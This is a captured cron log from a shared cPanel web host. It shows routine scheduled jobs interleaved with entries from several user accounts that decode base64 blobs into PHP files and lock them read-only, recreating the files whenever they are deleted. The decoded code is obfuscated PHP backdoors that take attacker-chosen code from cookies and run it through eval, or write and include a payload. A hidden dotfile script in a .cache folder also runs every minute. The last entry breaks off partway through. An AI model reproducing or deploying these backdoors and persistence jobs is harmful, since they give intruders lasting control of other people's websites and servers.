Mar  1 08:37:02 medusa CROND[16434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:37:02 medusa CROND[16433]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:37:02 medusa CROND[16437]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:37:02 medusa CROND[16447]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:37:02 medusa CROND[16449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:37:02 medusa CROND[16448]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:37:02 medusa CROND[16451]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:37:02 medusa CROND[16454]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:37:02 medusa CROND[16455]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:37:02 medusa CROND[16458]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:38:01 medusa CROND[6072]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:38:01 medusa CROND[6073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:38:01 medusa CROND[6075]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:38:01 medusa CROND[6077]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:38:01 medusa CROND[6078]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:38:01 medusa CROND[6079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:38:01 medusa CROND[6082]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:38:01 medusa CROND[6085]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:38:01 medusa CROND[6088]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:38:01 medusa CROND[6091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:38:01 medusa CROND[6092]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:38:01 medusa CROND[6093]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:38:01 medusa CROND[6095]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:39:02 medusa CROND[28955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:39:02 medusa CROND[29006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:39:02 medusa CROND[29007]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:39:02 medusa CROND[29008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:39:02 medusa CROND[29009]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:39:02 medusa CROND[29010]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:39:02 medusa CROND[29012]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:39:02 medusa CROND[29013]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 08:39:02 medusa CROND[29016]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 